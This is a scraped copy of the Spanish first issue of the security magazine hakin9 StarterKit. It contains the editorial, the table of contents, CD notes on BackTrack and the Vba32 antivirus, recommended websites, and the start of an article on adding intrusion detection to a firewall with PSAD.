07.05.2013 Views

hakin9 Starterkit

hakin9 Starterkit

hakin9 Starterkit

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

4<br />

Queridos lectores<br />

El mundo TI siempre era para mí un mundo desconocido,<br />

pero también un mundo mágico.<br />

Quería saber algo más de él pero siempre tenía<br />

miedo. Entrar en el mundo TI me resultaba dificil, pero<br />

poco a poco entré y me absorbó. El miedo ha cambiado<br />

en respeto...<br />

Iniciamos un nuevo proyecto. Cada tres meses aportamos<br />

nuevas informaciones y artículos para principiantes.<br />

Para todo el mundo interesado en TI, para éstos que<br />

poseen conocimientos básicos en computación y quieren<br />

saber más, pero no saben por dónde empezar...<br />

Queremos crear una revista junto con nuestros lectores.<br />

Estamos abiertos a vuestras propuestas, porque<br />

sois vosotros quienes conocéis mejor vuestras necesidades.<br />

Siempre invitamos a todos que deseen ser nuestros<br />

autores, correctores o simplemente tienen propuestas de<br />

cómo mejorar <strong>hakin9</strong> StarterKit.<br />

En el primer número publicamos los mejores articúlos<br />

para principiantes de <strong>hakin9</strong> y...mucho más.<br />

Hablamos del uso de cortafuegos (firewalls) y su<br />

importancia en la política de seguridad. Presentamos las<br />

técnicas de ADS y ofuscación, primera es de ocultación<br />

de un documento en otro y segunda de encubrimiento<br />

de código fuente de la información...y una crítica de<br />

Windows Vista y de su concepto de seguridad. Damos<br />

también unos consejos de cómo usar vulnerabilidades y<br />

fallos del sistema para hacerlo más seguro en el futuro.<br />

Que más puedo decir... ¡Os invito a la lectura!<br />

Natasza Balwierczak<br />

Redactora Jefa de <strong>hakin9</strong> StarterKit<br />

www.<strong>hakin9</strong>.org/es<br />

Contenido de CD 6<br />

Monika Szymańska, David Santamaria<br />

Este ejemplar de <strong>hakin9</strong> <strong>Starterkit</strong>, viene, con la<br />

distribución <strong>hakin9</strong>.live, basada en Backtrack 2.0<br />

CD y completada con utiles herramientas y plug-ins.<br />

BackTrack 2.0 es la distribución de Linux dedicada al<br />

testeo de redes mejor valorada en la actualidad.<br />

Mucho más que cortafuegos 10<br />

Jess García<br />

Los cortafuegos siguen evolucionando. Debido al<br />

importante papel que juegan en la infrastructura de<br />

una red son quizás el lugar adecuado para implementar<br />

ciertos controles y otros tipos de funciones<br />

que no se relacionan estrictamente con el filtrado de<br />

tráfico convencional.<br />

Ofuscación para principiantes 18<br />

Laic Aurelian<br />

De acuerdo con Wikipedia ofuscación es encubrir el<br />

significado de una comunicación haciéndola más confusa<br />

y difícil de interpretar. Por eso el Código ofuscado<br />

es un código fuente intencionadamente transformado<br />

para que sea muy difícil de leer y comprender.<br />

Firewall con 2 canales de Internet 24<br />

Samuel Diaz<br />

Los cortafuegos siguen evolucionando. Debido al<br />

importante papel que juegan en la infrastructura de<br />

una red son quizás el lugar adecuado para implementar<br />

ciertos controles y otros tipos de funciones<br />

que no se relacionan estrictamente con el filtrado de<br />

tráfico convencional.<br />

Seguridad en Windows Vista 28<br />

Oscar Martínez Pérez<br />

El coloso Microsoft, que lanzó en Octubre del 2001<br />

Windows XP, vuelve a la carga con una nueva versión,<br />

de su sistema operativo Windows, por el que ha<br />

recibido durante años, críticas y alabanzas de todo<br />

tipo. Según Microsoft con esta nueva apuesta, lanza<br />

un sistema operativo, mucho más sencillo, seguro y<br />

divertido, pero sobretodo seguro.<br />

Inseguridad de la información 34<br />

Armando Carvajal<br />

La inseguridad de la información es el reto permanente<br />

del encargado de la seguridad de la información.<br />

Cada nueva vulnerabilidad, cada nueva falla<br />

identificada establece un reto, no solamente para<br />

reparar los daños y la falla, sino para comprender<br />

la mente del intruso, los elementos que intervienen<br />

en la falla e identificar la evidencia de los hechos<br />

materializados.


El valor forense de los honeypots 42<br />

Armando Carnajal<br />

Los honeypots se muestran en el mundo de la informática<br />

como la trampa perfecta para todos aquellos<br />

posibles atacantes, su labor radica en simular<br />

ser vulnerables o debiles al ataque, captando toda<br />

la información de sus agresores una vez diagnosticado<br />

al agresor, advierte al administrador del sistema,<br />

antes de dañar completamente la red.<br />

Vulnerabilidades de WEP y WPA 54<br />

José Luís Picazo Martínez<br />

Las redes inalámbricas Wifi, se han convertido<br />

en una necesidad para los usuarios domésticos<br />

de hoy en día. Su uso masivo ha provocado que<br />

con la misma rapidez con la que se han intentado<br />

proteger...<br />

Digitalización<br />

de Documentos Certificada 58<br />

Roger Carhuatocto<br />

El artículo explica cómo diseñar y construir una aplicación<br />

que convierta documentos en papel a formato<br />

digital con la garantía de que los documentos digitales<br />

sean copia fiel a...<br />

Doctor Jekyll<br />

y Mr. Hyde versión NTFS 64<br />

Laic Aurelian<br />

Este artículo trata sobre Alternate Data Streams.<br />

Comparándola con la estaganografía clásica, esta<br />

técnica oculta documentos asociándolos como un<br />

stream en otro documento...<br />

USB Payload – el gadget<br />

más potente del agente 007 70<br />

Yago F. Hansen<br />

Las herramientas de auditoría y enumeración que<br />

se incluyen en las distribuciones del tipo USB<br />

payload no son nada nuevo, en todo caso actualizaciones.<br />

Lo novedoso de este sistema, por lo<br />

tanto no es el contenido, sino la forma de empaquetarlo<br />

utilizando...<br />

En el proximo número 82<br />

Aquí presentamos artículos para proximo numero de<br />

Hakin9 StarterKit.<br />

está editado por Software-Wydawnictwo Sp. z o.o.<br />

Dirección: Software-Wydawnictwo Sp. z o.o.<br />

ul. Bokserska 1, 02-682 Varsovia, Polonia<br />

Tel: +34 917 610 987, Fax: +48 22 427 36 39<br />

www.<strong>hakin9</strong>.org/es<br />

Producción: Marta Kurpiewska marta.kurpiewska@software.com.pl<br />

Distribución: Katarzyna Chauca katarzyna.chauca@software.com.pl<br />

Redactor jefe: Natasza Balwierczak natasza.balwierczak@<strong>hakin9</strong>.org<br />

Redactor adjunto: Monika Szymanska monika.szymanska@<strong>hakin9</strong>.org<br />

Preparación del CD: Rafał Kwaśny<br />

DTP Manager: Robert Zadrożny robert.zadrozny@software.com.pl<br />

Composición: Ewa Turowska ewa.turowska@software.com.pl,<br />

Jarosław Zakwrzewski jaroslaw.zakrzewski@software.com.pl<br />

Betatesters: Edison Josue Diaz, Francisco Jesus Gómez, Jose Luis<br />

Nunez Montes, Juan Carlos Montejo Lopez, Jaume Mayor<br />

Corrección: Evangelina Jacob, Juan Carlos Montejo López,<br />

Daniel Perez Clavero<br />

Publicidad: adv@software.com.pl<br />

Suscripción: suscripcion@software.com.pl<br />

Diseño portada: Agnieszka Marchocka<br />

Las personas interesadas en cooperación rogamos<br />

se contacten: es@<strong>hakin9</strong>.org<br />

Si estás interesado en comprar la licencia para editar nuestras revistas<br />

contáctanos:<br />

Katarzyna Chauca<br />

e-mail: katarzyna.chauca@software.com.pl<br />

tel.: +34 917 610 987<br />

fax: +48 22 427 36 39<br />

Imprenta: 101 Studio, Firma Tęgi<br />

Distribuye: coedis, s.l.<br />

Avd. Barcelona, 225<br />

08750 Molins de Rei (Barcelona), España<br />

La Redacción se ha esforzado para que el material publicado en la revista<br />

y en el CD que la acompaña funcione correctamente. Sin embargo, no se<br />

responsabiliza de los posibles problemas que puedan surgir.<br />

Todas las marcas comerciales mencionadas en la revista son propiedad de<br />

las empresas correspondientes y han sido usadas únicamente con fines<br />

informativos.<br />

¡Advertencia!<br />

Queda prohibida la reproducción total o parcial de esta publicación<br />

periódica, por cualquier medio o procedimiento, sin para ello contar<br />

con la autorización previa, expresa y por escrito del editor.<br />

La Redacción usa el sistema de composición automática<br />

Los diagramas han sido elaborados con el programa<br />

de la empresa<br />

El CD incluido en la revista ha sido comprobado con el programa<br />

AntiVirenKit, producto de la empresa G Data Software Sp. z o.o.<br />

La revista <strong>hakin9</strong> StarterKit es editada en 3 idiomas:<br />

ES PL EN<br />

Advertencia<br />

¡Las técnicas presentadas en los artículos se pueden usar SÓLO<br />

para realizar los tests de sus propias redes de ordenadores!<br />

La Redacción no responde del uso inadecuado de las técnicas<br />

descritas. ¡El uso de las técnicas presentadas puede provocar la<br />

pérdida de datos!


kit<br />

Contenido del CD<br />

Este ejemplar de <strong>hakin9</strong> <strong>Starterkit</strong>, viene, con la<br />

distribución <strong>hakin9</strong>.live, basada en Backtrack<br />

2.0 CD y completada con utiles herramientas<br />

y plug-ins. BackTrack 2.0 es la distribución de Linux<br />

dedicada al testeo de redes mejor valorada en la actualidad.<br />

La platforma de análisis arranca desde el CD sin<br />

necesitar ningún tipo de instalación y en minutos está<br />

lista para ser usada sin restricciones.<br />

Para empezar y usar BackTrack 2.0 <strong>hakin9</strong>.live no<br />

tienes más que arrancar el equipo con el CD. Para<br />

utilizar las aplicaciones comerciales que hemos conseguido<br />

para los lectores de <strong>hakin9</strong> no necesitas cargar<br />

la distribución : se encuentran separadas en la carpeta<br />

Applications y están accesibles directamente.<br />

El CD en este mes contiene:<br />

40 tutoriales sobre Visual Basic<br />

Presentamos para nuestros lectores 35 video tutoriales<br />

sobre Visual Basic.<br />

Visual Basic constituye un IDE (entorno de desarrollo<br />

integrado o en inglés Integrated Development<br />

Enviroment)que ha sido empaquetado como un programa<br />

de aplicación, es decir, consiste en un editor de código<br />

(programa donde se escribe el código fuente), un<br />

depurador (programa que corrige errores en el código<br />

fuente para que pueda ser bien compilado), un compilador<br />

(programa que traduce el código fuente a lenguaje<br />

de máquina), y un constructor de interfaz gráfica o GUI<br />

(es una forma de programar en la que no es necesario<br />

escribir el código para la parte gráfica del programa,<br />

sino que se puede hacerlo de forma visual).(wiki)<br />

(www.dragonjar.us)<br />

VirusBlokAda ( Vba32)<br />

Vba32 es una eficaz y rápida herramienta para detectar<br />

y neutralizar viruses informáticos, gusanos<br />

de correo, troyanos y otro malware (backdoors, adware,<br />

spyware, etc). Vba32 proporciona protección<br />

de alto rendimiento a sus ordenadores personales,<br />

estaciones de trabajo y servidores de redes área local.<br />

Vba32 posee un poderoso analizador heurístico<br />

que le protege tanto de nuevos virus como de sus<br />

mutaciones.Una considerable base de programas<br />

maliciosos conocidos y las actualizaciones regulares<br />

del antivirus le proporcionan la más eficaz protección<br />

de su computadora.<br />

Soporte técnico<br />

El soporte es proporcionado por VirusBlockAda Ltd.<br />

License #01019/0026140, 2006/06/30, perteneciente al<br />

State Centre Of Information Security de la República de<br />

6 www.<strong>hakin9</strong>.org/es<br />

Bielorrusia. La licencia posibilita al titular a proporcionar<br />

protección técnica de los datos, incluyendo el uso de métodos<br />

criptográficos y el derecho de uso de firma digital.<br />

Kalvarijskaja Str., 17, 611<br />

220004 Misk, Bielorrusia<br />

Tel .: (+375 17) 226-62-85 – Departmento de Ventas<br />

Tel .: (+375 17) 226-85-55 – Departmento de Programación.<br />

e.mail: support-en@anti-virus.by<br />

Página Web: http://www.anti-virus.by/<br />

Instalando Vba32<br />

• Comenzando la Instalación<br />

• Inicie el fichero de instalación que recibió de su proveedor<br />

o que descargó del sitio de desarrollo.<br />

• Atención: Si utiliza la versión de Vba32 para Windows<br />

NT/2000/XP/2003/Vista asegúrese de que ha iniciado<br />

sesión como administrador en el equipo.<br />

• Pantalla de bienvenida<br />

Presione SIGUIENTE para continuar la instalación. Presione<br />

VER NOVEDADES para conocer los cambios en la<br />

versión del producto.<br />

• Selección del Tipo de instalación<br />

• Puede elegir entre tres tipos de instalación: típica, completa<br />

y Personalizada.<br />

• Típica: Contiene un set de componentes estándar<br />

que proporcionan protección antivirus efectiva para<br />

su equipo. Está recomendada para la mayoría de los<br />

usuarios.<br />

• Completa: Permite instalar todos los componentes de<br />

Vba32. Está recomendada para obtener los mejores<br />

resultados.<br />

• Personalizada: Permite elegir los componentes de<br />

Vba32 a instalar. Está recomendada para usuarios<br />

avanzados.<br />

Presione Examinar para seleccionar la carpeta destine<br />

de la instalación. Presione siguiente para continuar la<br />

instalación.<br />

• Seleccionando las Características<br />

Si ha seleccionado el tipo de instalación Personalizado,<br />

se le mostrará una pantalla con la lista de componentes.<br />

Por defecto, el número de componentes corresponde a<br />

los de la instalación Típica.<br />

• Configurando Vba32


Si no puedes leer el contenido del CD y no es culpa de un daño<br />

mecánico, contrólalo en por lo menos dos impulsiones de CD.<br />

En caso de cualquier problema con CD rogamos<br />

escriban a: cd@software.com.pl<br />

www.<strong>hakin9</strong>.org/es<br />

7


kit<br />

Vba32 puede ser configurado en la siguiente pantalla:<br />

• Iniciar Vba32 Loader al Inicio de Windows - El programa<br />

se cargará automáticamente al iniciar el sistema.<br />

• Crear Iconos en el Escritorio – El icono de Vba32<br />

Loader aparecerá en el Escritorio.<br />

• Mostrar Componentes de Vba32 en el Menú de Inicio<br />

– Se creará el grupo Vba32 en el menú de Inicio.<br />

Además, puede especificar la localización del fichero<br />

llave de registro de Vba32. Presione el botón Examinar y<br />

especifique la ruta al fichero vba32.key en el cuadro de<br />

diálogo. Si no sabe dónde se encuentra, consulte a su<br />

proveedor. Atención: ¡Sin el fichero llave, el programa<br />

funcionará en modo demostración! Sólo se le permitirá<br />

actualizar el producto una vez y algunas características<br />

no estarán disponibles.<br />

• 6- Preparándose para instalar la aplicación<br />

• Presione el botón SIGUIENTE para comenzar a instalar<br />

los ficheros. Presione ATRÁS para cambiar las<br />

opciones anteriores o presione CANCELAR para salir<br />

del programa de instalación.<br />

• 7- La instalación a terminado correctamente<br />

• Presione el botón FINALIZAR para completar la instalación.<br />

Iniciando Vba32 Por primera vez<br />

Tras instalar Vba32 y reiniciar el equipo, verá el icono<br />

del Vba32 Loader en la barra de tareas. Si no hay icono<br />

significa que usted ha desactivado la carga automática al<br />

inicio del sistema durante la instalación; o puede haber<br />

instalado el programa incorrectamente (en este caso se<br />

le recomienda reinstalarlo). Como siguiente paso, le recomendamos<br />

que actualice el programa para obtener los últimos<br />

módulos antivirus. Simplemente tiene que hacer clic<br />

derecho en el icono de Vba32 Loader en la barra de tareas<br />

y seleccionar ACTUALIZAR en el menú desplegable. Por<br />

defecto se descarga de http://anti-virus.by/update/. Puede<br />

utilizar direcciones alternativas de la lista del programa o<br />

especificar cualquier ruta de actualización válida.<br />

• Cuando haya finalizado la actualización podrá efectuar<br />

su primer análisis. Recomendamos analizar todos<br />

los discos de su equipo. Seleccione Scanner del menú<br />

desplegable o presione el botón Scanner en la pantalla<br />

principal del Vba32 Loader. Después presione ><br />

en la barra de herramientas para comenzar el análisis<br />

antivirus. Cuando el análisis haya finalizado, verá los<br />

resultados en la ventana del Vba32 Scanner.<br />

Componentes de Vba32<br />

Vba32 Antivirus es un conjunto de componentes que proporcionan<br />

protección a su computadora frente a programas<br />

maliciosos y virus informáticos. Dependiendo de la versión<br />

que haya adquirido y de los componentes que haya instalado,<br />

pueden encontrarse los siguientes módulos:<br />

8 www.<strong>hakin9</strong>.org/es<br />

• Vba32 Loader es el panel de control principal de<br />

Vba32. Proporciona seguimiento de los módulos<br />

del antivirus, lanza el Scanner de Vba32 y modifica<br />

los parámetros de monitorización. Véase también<br />

interfaz del Programa para aprender más sobre las<br />

funciones del Vba32 Loader.<br />

• Vba32 Monitor proporciona protección permanente<br />

de los ficheros existentes así como de los<br />

nuevos ficheros obtenidos de la red local y otras<br />

unidades, descargados de Internet o recibidos vía<br />

E-mail. Véase Protección Activa de ficheros para<br />

aprender más sobre las funciones del vba32 Monitor.<br />

• Vba32 Scanner proporciona el análisis bajo demanda<br />

de las unidades, carpetas y ficheros. Proporciona<br />

sencillas formas de presentación de los resultados del<br />

análisis. Véase Análisis de ficheros Bavjo Demanda<br />

para aprender más sobre las funciones del Vba32<br />

Scanner.<br />

• El Windows/DOS Console Scanner está diseñado para<br />

el análisis antivirus de discos, carpetas y ficheros usando<br />

la línea de comandos. Véase Windows/DOS Console<br />

Scanner para aprender más sobre estas funciones.<br />

• La Extensión del Menú contextual de Windows Explorer<br />

permite analizar ficheros específicos desde el<br />

menú contextual del Windows Explorer. Véase Menú<br />

contextual En Windows Explorer para aprender más<br />

sobre estas funciones.<br />

• El Antivirus Mail Filter analiza mensaje de e-mail recibidos<br />

mediante los protocolos POP3 e IMAP4 antes<br />

de ser recibidos por los clientes de correo. Véase<br />

Vba32 Mail Filter para más información.<br />

• El Plugin Antivirus para The Bat! está diseñado para<br />

proteger el cliente de correo The bat!, versión 1.61 y<br />

superiores. Véase Módulo The Bat Vba32 para más<br />

información.<br />

• El Plugin Antivirus para Microsoft Outlook está<br />

diseñado APRA proteger los clientes de correo<br />

Microsoft Outlook y Microsoft Exchange Client.<br />

Véase Vba32 Outlook Plugin para más información.<br />

• El Antivirus Script Filter protege Microsoft Internet<br />

Explorer, Microsoft Outlook Express y cualquier otra<br />

aplicación que utilice Microsoft Windows Scripting<br />

host. Véase Antivirus Internet Protection para más<br />

información.<br />

• Antidialer – Proporciona protección contra intentos no<br />

autorizados de creación de conexiones a números de<br />

teléfono desconocidos. Véase Vba32 Antidialer para<br />

más información.<br />

• Antivirus Quarantine – almacena los ficheros sospechosos<br />

e infectados que son detectados por los plugins<br />

de Vba32. véase Antivirus Quarantine para más<br />

información.<br />

Atención: Keyfile para programa VirusBlokada va a funcionar<br />

después 5 de Marzo. l


Páginas recomendadas<br />

Una especie de portal para la gente a que<br />

le gusta la informática y la seguridad. Si te gusta<br />

este mundo, te gustará elhacker.net.<br />

http://www.elhacker.net<br />

Un lugar de encuentro para todos interesados<br />

en temas de seguridad<br />

www.daboweb.com<br />

Aquí encontrarás todo lo que debes saber<br />

www.segu-info.com.ar<br />

Web especializada en artículos técnicos sobre<br />

Linux. Aquí encontrarás las últimas noticias sobre<br />

Linux y Software Libre, foros.<br />

www.diariolinux.com<br />

CyruxNET – allí encontrarás la información<br />

detallada sobre las técnicas hack más populares.<br />

http://www.cyruxnet.org<br />

Hack Hispano, comunidad de usuarios en la<br />

que se tratan temas de actualidad sobre nuevas<br />

tecnologías, Internet y seguridad informática.<br />

http://www.hackhispano.com<br />

Tecnología, informática e Internet. Allí encontrarás<br />

enlaces, foros, fondos de escritorio y una biblioteca<br />

repleta de artículos interesantes...<br />

http://www.hispabyte.net<br />

Seguridad0 es un magazine gratuito de seguridad<br />

informática. Tiene una periodicidad semanal,<br />

aunque se anaden noticias a diario.<br />

http://www.seguridad0.com<br />

Sitio de noticias que brinda la más variada información<br />

en cuanto al mundo de los móviles,<br />

enlaces, contactos, y mucho más.<br />

www.diginota.com<br />

Un espacio libre para compartir: descargas,<br />

software, programas oscuros, dudas, noticias,<br />

trucos... y más cosas a ritmo de blues.<br />

http://www.viejoblues.com<br />

Indaya teaM fue creada por un grupo de personas<br />

amantes de la informática para ayudar<br />

a todos los que se interesan por la informática.<br />

http://www.indaya.com<br />

DelitosInformaticos.com revista digital de información<br />

legal sobre nuevas tecnologías.<br />

www.delitosinformaticos.com<br />

Páginas recomendadas<br />

Si tienes una página web interesante y quieres que la presentemos en<br />

nuestra sección de “Páginas recomendadas” contáctanos: es@<strong>hakin9</strong>.org


kit<br />

Mucho más<br />

que un cortafuegos<br />

Jess Garcia<br />

Adicionalmente, los cortafuegos tuvieron<br />

que adaptarse a las nuevas tecnologías<br />

y amenazas que el siglo 21 trajo consigo.<br />

Si echamos un vistazo a los cortafuegos comerciales<br />

más populares, podremos observar que la<br />

mayoría de ellos incorporan una serie de características<br />

que no están relacionadas con el papel<br />

que desempeña un cortafuegos como dispositivo<br />

de filtrado de tráfico red convencional: Red Privada<br />

Virtual (VPN), Autorización de Certificados,<br />

Inspección de Contenido, Deteccion y Prevención<br />

de Intrusos, soporte para redes virtuales de área<br />

local (VLAN), virtualización y un largo etcétera.<br />

Estas características han sido incluidas durante<br />

el paso de los años para proporcionar más flexibilidad<br />

a las compañías que necesitan hacer uso<br />

de cortafuegos escalables, fáciles de administar<br />

y eficaces.<br />

Sin embargo, no es muy común ver estas<br />

características implementadas en cortafuegos<br />

Open Source o de código abierto, como por ejemplo<br />

Iptables en sistemas GNU/Linux, o PF (Packet<br />

Filter) en OpenBSD, ya que siguen un modelo diseño<br />

más abierto. Es decir, cuando necesitas una<br />

funcionalidad extra la debes que añadir tú mismo.<br />

Esto se puede realizar sin demasiado esfuerzo y<br />

logrará extender las capacidades de tu cortafue-<br />

10 www.<strong>hakin9</strong>.org/es<br />

Los cortafuegos siguen<br />

evolucionando. Debido al<br />

importante papel que juegan en<br />

la infrastructura de una red son<br />

quizás el lugar adecuado para<br />

implementar ciertos controles<br />

y otros tipos de funciones que<br />

no se relacionan estrictamente<br />

con el filtrado de tráfico<br />

convencional.<br />

gos para suministrar características como por<br />

ejemplo las mencionadas anteriormente.<br />

En este artículo hablaremos sobre algunas de<br />

estas funcionalidades extra y de cómo aplicarlas<br />

en tu cortafuegos de manera un tanto especial.<br />

Detección de Intrusos<br />

La Detección de Intrusos es el arte de detectar<br />

una actividad inapropiada en la red y en el sistema.<br />

En pocas palabras, y según un escenario<br />

más habitual, esto significaría que cuando un<br />

usuario malicioso ataca los sistemas de tu red,<br />

éste sería detectado al instante.<br />

Una evolución del concepto de la detección<br />

de intrusos es la prevención de intrusos, que<br />

En este artículo aprenderás<br />

• Las tecnologías de seguridad adicional que<br />

pueden emplearse en tu cortafuegos.<br />

Lo que deberías saber<br />

• Deberías haber leído el artículo de Antonio Merola<br />

& Arrigo Triulzi sobre las bases del filtrado<br />

de paquetes.


además de detectar un ataque, aplica<br />

una metodología para detenerlo. Obviamente,<br />

la labor de prevención es<br />

siempre mejor que la de detección,<br />

ya que solamente se podría prevenir<br />

un ataque cuando se tiene la certeza<br />

de que una actividad particular es<br />

maliciosa.<br />

Esta es una tarea difícil, y por eso<br />

los sistemas de prevención de intrusión<br />

(IPS) no son tan populares como<br />

los sistemas de detección de Intrusos<br />

(IDS), especialmente cuando no se<br />

tiene la certeza de que la actividad<br />

inapropiada es maliciosa.<br />

Existen dispositivos especializados,<br />

sistemas de detección de<br />

intrusos y sistemas de prevención<br />

de intrusos que están especialmente<br />

diseñados para llevar a cabo dichas<br />

funciones. Sin embargo, ¿no sería<br />

genial que pudiéramos implementarlas<br />

en nuestros propios cortafuegos?<br />

Pues bien, es posible.<br />

Actualmente los cortafuegos comerciales<br />

más populares incluyen capacidades<br />

IDS e IPS, desde básicas<br />

hasta avanzadas.<br />

También podemos encontrar aplicaciones<br />

de código abierto que nos<br />

permitirán obtener estas funcionalidades<br />

extra, aunque habrá que trabajar<br />

bastante para que los resultados obtenidos<br />

se adecuen a los objetivos que<br />

perseguimos.<br />

Empezaremos pues añadiendo<br />

funcionalidades de IDS a nuestro<br />

dispositivo. Existen muchas maneras<br />

de implementar la detección de<br />

intrusos. La más obvia consiste en<br />

emplear software de deteccion de intrusos.<br />

Con respecto a esto, estamos<br />

de suerte, ya que una de las mejores<br />

aplicaciones IDS es Open Source o<br />

de código abierto. Se llama Snort [1] y<br />

puede que hayas oído hablar de él, ya<br />

que se trata de un software bastante<br />

popular y utilizado con frecuencia. El<br />

tipo principal de detección de intrusiones<br />

que hace Snort es el denominado<br />

basada en firmas, osea, basado en<br />

el tipo de tráfico de red característico<br />

que genera un ataque en concreto.<br />

Sin embargo, empleando un IDS<br />

no es la única forma de conseguir<br />

esto. Puede que la mayoría de los<br />

administradores de cortafuegos no<br />

se imaginen que dichos dispositivos<br />

constituyen una gran fuente de datos<br />

que se puede utilizar en la labor de detección<br />

de intrusos. ¿Por qué razón?<br />

Bueno, los cortafuegos son dispositivos<br />

que cumplen con las políticas de<br />

filtrado de la organización. Osea, un<br />

conjunto de reglas que establecen lo<br />

que está permitido y lo que no a nivel<br />

de la capa de red.<br />

Cuando el dispositivo está configurado<br />

apropiadamente, el cortafuegos<br />

no permitirá ningún tipo de tráfico que<br />

no sea necesario y además, registrará<br />

todas las violaciones de dicha política,<br />

suministrando posteriormente los<br />

datos de la presunta intrusión. Ahora<br />

bien, se realiza una intrusión, muchas<br />

veces se debe a la violación de la política<br />

de filtrado de la organización.<br />

Como por ejemplo, cuando un<br />

atacante comienza a escanear la<br />

red interna, trata de comprometer un<br />

servidor o intenta conectarse a un<br />

canal de IRC en un servidor remoto.<br />

Así pues, estas actividades serán<br />

típicamente detectadas y se registrarán<br />

como tráfico inapropiado por<br />

un cortafuegos que esté configurado<br />

correctamente.<br />

Asimismo, puede que también te<br />

preguntes, ¿Qué herramientas puedo<br />

usar para realizar la monitorización del<br />

registro del cortafuegos? Pues bien,<br />

existen un buen montón de herramientas<br />

[2] que pueden realizar la monitorizacion<br />

de los registros del cortafuegos.<br />

Las hay desde los más simples, como<br />

por ejemplo el analizador de registros<br />

de IPtables, fwlogwatch que funciona<br />

con Netfilter/IPtables, Hatchet que fue<br />

diseñado para el cortafuegos personal<br />

de OpenBSD, hasta los más sofisticados<br />

motores de administración de<br />

seguridad de la Información, como por<br />

ejemplo OSSIM, cuyos registros del<br />

cortafuegos se pueden interrelacionar<br />

con otros registros de seguridad, como<br />

por ejemplo los registros sistema<br />

o de la red.<br />

PSAD<br />

Existen más herramientas para sistemas<br />

GNU/Linux que están incluso<br />

más orientadas a la detección de<br />

intrusos que las herramientas mencionadas<br />

anteriormente. Este es<br />

www.<strong>hakin9</strong>.org/es<br />

Cortafuegos<br />

el caso de PSAD [3], que emplea<br />

los archivos de registro de Netfilter/<br />

IPtables de los sistemas GNU/Linux<br />

y es capaz de detectar escaneos de<br />

red, firmas de Snort, reconocimentos<br />

pasivos del sistema, etc.<br />

Adicionalmente, si combinamos<br />

PSAD con fwsnort [4], se pueden<br />

incluso emplear dichas firmas a nivel<br />

de aplicación, gracias a la capacidad<br />

de las cadenas de Netfilter/IPtables.<br />

La instalación de PSAD es muy<br />

simple. Podemos encontrar paquetes<br />

de la aplicación para la mayoría<br />

de distribuciones de sistemas GNU/<br />

Linux.<br />

PSAD funciona monitorizando<br />

los mensajes que IPtables envía al<br />

registro de sistema Así pues, habrá<br />

que configurarlo para que registre<br />

los mensajes emitidos por el kernel<br />

en la ruta /var/lib/psad/psadfifo y el<br />

demonio de PSAD pueda recibirlos:<br />

echo -e 'kern.info\t|/var/lib/psad/<br />

psadfifo' >> /etc/syslog.conf<br />

Acto seguido, reiniciaremos Syslog:<br />

/etc/init.d/sysklogd restart<br />

A partir de este momento será posible<br />

guardar los mensajes emitidos<br />

por Netfilter/IPtables en el registro<br />

del sistema pero ¿qué es lo que<br />

realmente se está registrando?<br />

Podemos consultar la configuración<br />

de IPtables mediente la ejecución<br />

del comando siguiente: iptables -<br />

L -vn. Observaremos entonces que<br />

algunas líneas contienen la palabra<br />

LOG.<br />

Por defecto GNU/Linux no registra<br />

paquetes sueltos o rechazados<br />

cuando las políticas DENEGAR o<br />

RECHAZAR están configuradas de<br />

forma predeterminada (las políticas<br />

por defecto se establecen con el<br />

comando iptables -P). Así pues,<br />

es recomendable preparar un script<br />

con los comandos adecuados para<br />

que se ejecute de forma automática<br />

cada vez que se inicie la aplicación<br />

(Listado 1).<br />

Después de configurar el registro<br />

del cortafuegos le toca el turno a<br />

PSAD. La configuración de PSAD<br />

11


kit<br />

no es complicada, incluso con el<br />

montón de opciones entre las que<br />

podemos elegir. Tan solo hay que<br />

editar el archivo /etc/psad/psad.conf<br />

y especificar la dirección IP, el nombre<br />

del host, la red local y poco más.<br />

Luego habrá que reiniciar el demonio<br />

mediante el comando siguiente.<br />

/etc/init.d/psad start<br />

Realizado este paso, tan sólo hemos<br />

de esperar que nos lleguen los mensajes<br />

de alerta, bien por correo electrónico,<br />

bien a través de los archivos<br />

de registro de PSAD almacenados<br />

en /var/log/psad. Además, se pueden<br />

utilizar aplicaciones de registro<br />

adicionales tales como swatch [5],<br />

para monitorizar los archivos de<br />

registro cuando deseemos realizar<br />

acciones sofisticadas después de<br />

que aparezca la alerta. Se puede<br />

decir que poseemos un sencillo<br />

sistema de detección de intrusos en<br />

acción, ¿no?<br />

Hay algo importante que es necesario<br />

tener en cuenta en el escenario<br />

donde nos movemos. Cuando<br />

empleamos este tipo de herramientas<br />

en el entorno hostíl del Internet<br />

de hoy en día, recibiremos miles de<br />

ataques desde la red externa que<br />

podrían llevarnos muy pronto ignorar<br />

los enviadas por PSAD. Así pues,<br />

es recomendable observar nuestro<br />

tráfico saliente. Esta es una estrategia<br />

conocida como Detección de<br />

Extrusión [6].<br />

En el entorno actual, donde los<br />

ataques dirigidos a clientes y las<br />

botnets, ejércitos de computadores<br />

comprometidos por usuarios maliciosos<br />

que realizan ataques de denegación<br />

de servicio o envian correo<br />

basura constituyen una amenaza<br />

constante, será más recomendable<br />

examinar nuestro tráfico de red saliente<br />

mejor que el entrante, ya que<br />

el proceso será mas silencioso y obtendremos<br />

menos falsos positivos.<br />

Prevención de intrusos<br />

Nos centraremos ahora en la prevención<br />

de intrusos. Lo primero que<br />

debemos mencionar es que la prevención<br />

de intrusos no constituye un<br />

reemplazo para la detección de intrusos,<br />

sino más bien un complemento.<br />

Ninguna tecnología de seguridad es<br />

perfecta, y la prevención de intrusos<br />

no es una excepción. Sin embargo,<br />

la combinación de diferentes técnicas<br />

de detección y prevención de host<br />

y de red proporcionan resultados<br />

óptimos (este enfoque de defensa<br />

multicapa denominado Defensa en<br />

Profundidad, demostró que era la<br />

mejor manera de proteger la infraestructuras<br />

de sistema y red actuales).<br />

Además, no hay que olvidarse del<br />

viejo dicho La prevención es idea,<br />

pero la detección es obligación. Más<br />

tarde o más temprano tu equipo o tu<br />

red será atacada por usuarios maliciosos,<br />

sin embargo, lo que no te<br />

puedes permitir es no estar informado<br />

acerca de ello.<br />

El siguiente aspecto que podemos<br />

preguntarnos es acerca del sentido<br />

que tiene que un IPS y un cortafuegos<br />

se combinen en el mismo dispositivo.<br />

La respuesta es porque comparten un<br />

montón de características comunes;<br />

en el caso de cortafuegos, las reglas<br />

deben aplicarse a los puertos, protocolos<br />

y estado de conexiones mientras<br />

que en el caso de los IPS, estas<br />

reglas deben aplicarse al contenido y<br />

características de los paquetes.<br />

Listado 1. Conjunto de configuraciones<br />

